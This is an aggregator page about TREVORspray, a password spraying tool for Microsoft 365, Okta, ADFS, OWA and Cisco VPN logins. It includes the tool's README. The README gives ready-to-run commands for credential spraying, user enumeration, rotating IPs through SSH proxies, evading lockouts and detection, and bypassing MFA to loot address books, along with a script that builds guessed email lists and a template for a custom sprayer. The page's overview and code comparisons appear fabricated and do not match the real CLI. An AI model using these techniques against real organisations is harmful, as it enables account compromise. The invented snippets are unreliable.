TREVORspray
TREVORspray is a modular password sprayer with threading, clever proxying, loot modules, and more!
Top Related Projects
A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
Scripts to make password spraying attacks against Lync/S4B, OWA & O365 a lot quicker, less painful and more efficient
Refactored & improved CredKing password spraying tool, uses FireProx APIs to rotate IP addresses, stay anonymous, and beat throttling
Username enumeration and password spraying tool aimed at Microsoft O365.
Quick Overview
TREVORspray is an advanced password spraying tool designed for penetration testers and red teamers. It focuses on Microsoft Office 365 and Azure AD environments, offering features like smart throttling, HIBP integration, and multi-threaded execution to enhance efficiency and avoid account lockouts.
Pros
- Smart throttling and jitter to avoid detection and account lockouts
- Integration with Have I Been Pwned (HIBP) to exclude compromised passwords
- Multi-threaded execution for improved performance
- Supports various authentication methods and proxy configurations
Cons
- Potential for misuse if not used responsibly in authorized testing scenarios
- Requires careful configuration to avoid triggering security alerts or lockouts
- Limited to Microsoft Office 365 and Azure AD environments
- May require frequent updates to keep up with changes in Microsoft's authentication systems
Code Examples
- Basic password spraying:
from trevorspray import TrevorSpray
sprayer = TrevorSpray(
userlist='users.txt',
passwordlist='passwords.txt',
domain='example.com'
)
sprayer.run()
- Using HIBP integration:
sprayer = TrevorSpray(
userlist='users.txt',
passwordlist='passwords.txt',
domain='example.com',
hibp_check=True,
hibp_api_key='your_api_key_here'
)
sprayer.run()
- Configuring proxy and custom user agent:
sprayer = TrevorSpray(
userlist='users.txt',
passwordlist='passwords.txt',
domain='example.com',
proxy='http://127.0.0.1:8080',
user_agent='Custom User Agent String'
)
sprayer.run()
Getting Started
-
Install TREVORspray:
pip install trevorspray -
Create a file with usernames (
users.txt) and a file with passwords (passwords.txt). -
Run a basic password spray:
from trevorspray import TrevorSpray sprayer = TrevorSpray( userlist='users.txt', passwordlist='passwords.txt', domain='example.com' ) sprayer.run() -
Review the results in the generated output file.
Competitor Comparisons
A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
Pros of MSOLSpray
- Simpler and more straightforward implementation
- Easier to set up and use for basic password spraying tasks
- Lightweight with fewer dependencies
Cons of MSOLSpray
- Less feature-rich compared to TREVORspray
- Limited customization options for advanced scenarios
- Lacks built-in evasion techniques and intelligent spraying logic
Code Comparison
MSOLSpray:
$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
$Uri = "https://login.microsoftonline.com/common/oauth2/token"
$ContentType = "application/x-www-form-urlencoded"
TREVORspray:
self.user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
self.url = "https://login.microsoftonline.com/common/oauth2/token"
self.headers = {"Content-Type": "application/x-www-form-urlencoded"}
Both tools use similar user agents and target the same Microsoft OAuth endpoint. However, TREVORspray is implemented in Python, offering more flexibility and advanced features, while MSOLSpray uses PowerShell, which may be more familiar to Windows administrators.
TREVORspray includes additional features like intelligent spraying, custom jitter, and advanced evasion techniques, making it more suitable for complex password spraying scenarios. MSOLSpray, on the other hand, provides a simpler approach that may be sufficient for basic testing and less experienced users.
Scripts to make password spraying attacks against Lync/S4B, OWA & O365 a lot quicker, less painful and more efficient
Pros of SprayingToolkit
- Supports multiple protocols (OWA, Lync, O365, IMAP, etc.)
- Includes tools for user enumeration and password spraying
- Modular design allows for easy extension and customization
Cons of SprayingToolkit
- Less actively maintained (last commit over 2 years ago)
- May require more setup and configuration
- Potentially more complex to use for beginners
Code Comparison
TREVORspray:
def spray(self):
for username in self.usernames:
for password in self.passwords:
self.attempt_login(username, password)
SprayingToolkit:
def spray(self, users, passwords, target):
for user in users:
for password in passwords:
self.protocols[target].auth(user, password)
Both tools use similar nested loop structures for password spraying, but SprayingToolkit's approach is more modular, allowing for different protocols to be used.
TREVORspray focuses specifically on Office 365 and Azure AD, while SprayingToolkit supports a wider range of protocols. TREVORspray is more actively maintained and may be easier to set up and use for its specific use case. SprayingToolkit offers more flexibility but might require more configuration and expertise to utilize its full potential.
Refactored & improved CredKing password spraying tool, uses FireProx APIs to rotate IP addresses, stay anonymous, and beat throttling
Pros of CredMaster
- Supports multiple protocols beyond just Office 365 (e.g., OWA, EWS, ADFS)
- Includes built-in CAPTCHA solving capabilities
- Offers more customizable output formats
Cons of CredMaster
- Less focus on evasion techniques compared to TREVORspray
- May require more setup and configuration due to its broader feature set
- Potentially slower execution due to additional supported protocols
Code Comparison
TREVORspray:
def perform_spray(self):
for username in self.usernames:
for password in self.passwords:
self.spray_account(username, password)
CredMaster:
def perform_spray(self):
for protocol in self.protocols:
for username in self.usernames:
for password in self.passwords:
self.spray_account(protocol, username, password)
The code comparison shows that CredMaster includes an additional loop for protocols, reflecting its support for multiple authentication methods. TREVORspray's code is more streamlined, focusing specifically on Office 365 spraying.
Username enumeration and password spraying tool aimed at Microsoft O365.
Pros of o365spray
- Supports multiple authentication endpoints (ActiveSync, AutoDiscover, MSOL)
- Includes user enumeration functionality
- Offers more detailed output and logging options
Cons of o365spray
- Less actively maintained (last update over 2 years ago)
- Fewer features for handling rate limiting and avoiding detection
- Limited to Office 365 environments
Code Comparison
o365spray:
def perform_spray(self, endpoint, userlist, password):
for user in userlist:
result = self.auth_O365(endpoint, user, password)
if result:
self.logger.success(f"Valid credentials: {user}:{password}")
TREVORspray:
async def perform_spray(self, users, password):
async with aiohttp.ClientSession() as session:
tasks = [self.auth_user(session, user, password) for user in users]
results = await asyncio.gather(*tasks)
return [r for r in results if r]
TREVORspray uses asynchronous programming for improved performance and efficiency when handling large numbers of authentication attempts. o365spray uses a more traditional synchronous approach, which may be slower for large-scale spraying operations.
Convert
designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual CopilotREADME
TREVORspray 2.0
TREVORspray is a modular password sprayer with threading, SSH proxying, loot modules, and more!
Installation:
pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray
See the accompanying Blog Post for a fun rant and some cool demos!

Features
- Threads, lots of threads
- Multiple modules
msol(Office 365)adfs(Active Directory Federation Services)owa(Outlook Web App)okta(Okta SSO)anyconnect(Cisco VPN)- custom modules (easy to make!)
- Tells you the status of each account: if it exists, is locked, has MFA enabled, etc.
- Automatic cancel/resume (remembers already-tried user/pass combos in
~/.trevorspray/tried_logins.txt) - Round-robin proxy through multiple IPs with
--sshor--subnet - Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet)
- Spoofs
User-Agentand other signatures to look like legitimate auth traffic - Comprehensive logging
- Optional
--delay,--jitter, and--lockout-delaybetween requests to bypass lockout countermeasures - IPv6 support
- O365 MFA bypass support (disable with
--no-loot)- IMAP
- SMTP
- POP
- EWS (Exchange Web Services) - Automatically retrieves GAL (Global Address Book)
- EAS (Exchange ActiveSync)
- Recommended bypass: BlueMail Android app
- EXO (Exchange Online PowerShell)
- UM (Exchange Unified Messaging)
- AutoDiscover - Automatically retrieves OAB (Offline Address Book)
- Azure Portal Access
- Domain
--reconwith the following features:- list MX/TXT records
- list O365 info
- tenant ID
- tenant name
- other tentant domains
- sharepoint URL
- authentication urls, autodiscover, federation config, etc.
- User enumeration (use
--reconand--users):OneDriveAzure Seamless SSO
How To - O365
- First, get a list of emails for
corp.comand perform a spray to see if the default configuration works. Usually it does. - If TREVORspray says the emails in your list don't exist, don't give up. Get the
token_endpointwith--recon corp.com. Thetoken_endpointis the URL you'll be spraying against (with the--urloption). - It may take some experimentation before you find the right combination of
token_endpoint+ email format.- For example, if you're attacking
corp.com, it may not be as easy as sprayingcorp.com. You may find that Corp's parent company Evilcorp owns their Azure tenant, meaning that you need to spray againstevilcorp.com'stoken_endpoint. Also, you may find thatcorp.com's internal domaincorp.localis used instead ofcorp.com. - So in the end, instead of spraying
bob@corp.comagainstcorp.com'stoken_endpoint, you're sprayingbob@corp.localagainstevilcorp.com's.
- For example, if you're attacking
Example: Perform recon against a domain (retrieves tenant info, autodiscover, mx records, etc.)
trevorspray --recon evilcorp.com
...
"token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...
Example: Enumerate users via OneDrive (no failed logins)
trevorspray --recon evilcorp.com -u emails.txt --threads 10

Example: Spray against discovered "token_endpoint" URL
trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token
Example: Spray with 5-second delay between requests
trevorspray -u bob@evilcorp.com -p 'Welcome123' --delay 5
Example: Spray and round-robin between 3 IPs (the current IP is also used, unless -n is specified)
trevorspray -u emails.txt -p 'Welcome123' --ssh root@1.2.3.4 root@4.3.2.1
Example: Find valid usernames without OSINT >:D
# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data
# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux
# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
# loop through top 2000 USA last names
head -n 2000 'usa/lnames.txt' | while read last; do
# generate emails in f.last format
echo "${f}.${last}@evilcorp.com"
done
done | tee f.last.txt
trevorspray -u f.last.txt -p 'Welcome123'
Extract data from downloaded LZX files
When TREVORspray successfully bypasses MFA and retrieves an Offline Address Book (OAB), the address book is downloaded in LZX format to ~/.trevorspray/loot. LZX is an ancient and obnoxious compression algorithm used by Microsoft.
# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make
# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u
TREVORspray - Help:
$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,anyconnect,adfs,msol}] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL] [-r DOMAIN] [-t THREADS] [-f] [-d DELAY]
[-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent] [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]]
[-i KEY] [-b BASE_PORT] [-n] [--interface INTERFACE] [--subnet SUBNET]
A password sprayer with the option to load-balance traffic through SSH hosts
optional arguments:
-h, --help show this help message and exit
basic arguments:
-m {owa,okta,anyconnect,adfs,msol}, --module {owa,okta,anyconnect,adfs,msol}
Spray module to use (default: msol)
-u USERS [USERS ...], --users USERS [USERS ...]
Usernames(s) and/or file(s) containing usernames
-p PASSWORDS [PASSWORDS ...], --passwords PASSWORDS [PASSWORDS ...]
Password(s) that will be used to perform the password spray
--url URL The URL to spray against
-r DOMAIN, --recon DOMAIN, --enumerate DOMAIN
Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
advanced arguments:
Round-robin traffic through remote systems via SSH (overrides --threads)
-t THREADS, --threads THREADS
Max number of concurrent requests (default: 1)
-f, --force Try all usernames/passwords even if they've been tried before
-d DELAY, --delay DELAY
Sleep for this many seconds between requests
-ld LOCKOUT_DELAY, --lockout-delay LOCKOUT_DELAY
Sleep for this many additional seconds when a lockout is encountered
-j JITTER, --jitter JITTER
Add a random delay of up to this many seconds between requests
-e, --exit-on-success
Stop spray when a valid cred is found
-nl, --no-loot Don't execute loot activites for valid accounts
--ignore-lockouts Forces the spray to continue and not stop when multiple account lockouts are detected
--timeout TIMEOUT Connection timeout in seconds (default: 10)
--random-useragent Add a random value to the User-Agent for each request
-6, --prefer-ipv6 Prefer IPv6 over IPv4
--proxy PROXY Proxy to use for HTTP and HTTPS requests
-v, --verbose, --debug
Show which proxy is being used for each request
SSH Proxy:
Round-robin traffic through remote systems via SSH (overrides --threads)
-s USER@SERVER [USER@SERVER ...], --ssh USER@SERVER [USER@SERVER ...]
Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
-i KEY, -k KEY, --key KEY
Use this SSH key when connecting to proxy hosts
-b BASE_PORT, --base-port BASE_PORT
Base listening port to use for SOCKS proxies
-n, --no-current-ip Don't spray from the current IP, only use SSH proxies
Subnet Proxy:
Send traffic from random addresses within IP subnet
--interface INTERFACE
Interface to send packets on
--subnet SUBNET Subnet to send packets from
Writing your own Spray Modules
If you need to spray a service/endpoint that's not supported yet, you can write your own spray module! This is a great option because custom modules benefit from all of TREVORspray's features -- e.g. proxies, delay, jitter, etc.
Writing your own spray module is pretty straightforward. Create a new .py file in lib/sprayers (e.g. lib/sprayers/custom_sprayer.py), and create a class that inherits from BaseSprayModule. You can call the class whatever you want. Fill out the HTTP method and any other parameters that you need in the requests (you can reference lib/sprayers/base.py or any of the other modules for examples).
- You only need to implement one method on your custom class:
check_response(). This method evaluates the HTTP response to determine whether the login was successful. - Once you're finished, you can use the custom spray module by specifying the name of your python file (without the
.py) on the command line, e.g.trevorspray -m custom_sprayer -u users.txt -p Welcome123.
# Example spray module
from .base import BaseSprayModule
class SprayModule(BaseSprayModule):
# HTTP method
method = 'POST'
# default target URL
default_url = 'https://login.evilcorp.com/'
# body of request
request_data = 'user={username}&pass={password}&group={otherthing}'
# HTTP headers
headers = {}
# HTTP cookies
cookies = {}
# Don't count nonexistent accounts as failed logons
fail_nonexistent = False
headers = {
'User-Agent': 'Your Moms Smart Vibrator',
}
def initialize(self):
'''
Get additional arguments from user at runtime
NOTE: These can also be passed via environment variables beginning with "TREVOR_":
TREVOR_otherthing=asdf
'''
while not self.trevor.runtimeparams.get('otherthing', ''):
self.trevor.runtimeparams.update({
'otherthing': input("What's that other thing? ")
})
return True
def check_response(self, response):
'''
returns (valid, exists, locked, msg)
'''
valid = False
exists = None
locked = None
msg = ''
if getattr(response, 'status_code', 0) == 200:
valid = True
exists = True
msg = 'Valid cred'
return (valid, exists, locked, msg)
CREDIT WHERE CREDIT IS DUE - MANY THANKS TO:
- @dafthack for writing MSOLSpray
- @Mrtn9 for his Python port of MSOLSpray
- @KnappySqwurl for being a splunk wizard
- @CarsonSallis for the O365 MFA bypasses
- @DrAzureAD for the Azure AD recon features (AADInternals)
- @nyxgeek for the OneDrive user enumeration (onedrive_user_enum)
- @gremwell for the Seamless SSO user enumeration (o365enum)

#trevorforget
Top Related Projects
A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.
Scripts to make password spraying attacks against Lync/S4B, OWA & O365 a lot quicker, less painful and more efficient
Refactored & improved CredKing password spraying tool, uses FireProx APIs to rotate IP addresses, stay anonymous, and beat throttling
Username enumeration and password spraying tool aimed at Microsoft O365.
Convert
designs to code with AI
Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.
Try Visual Copilot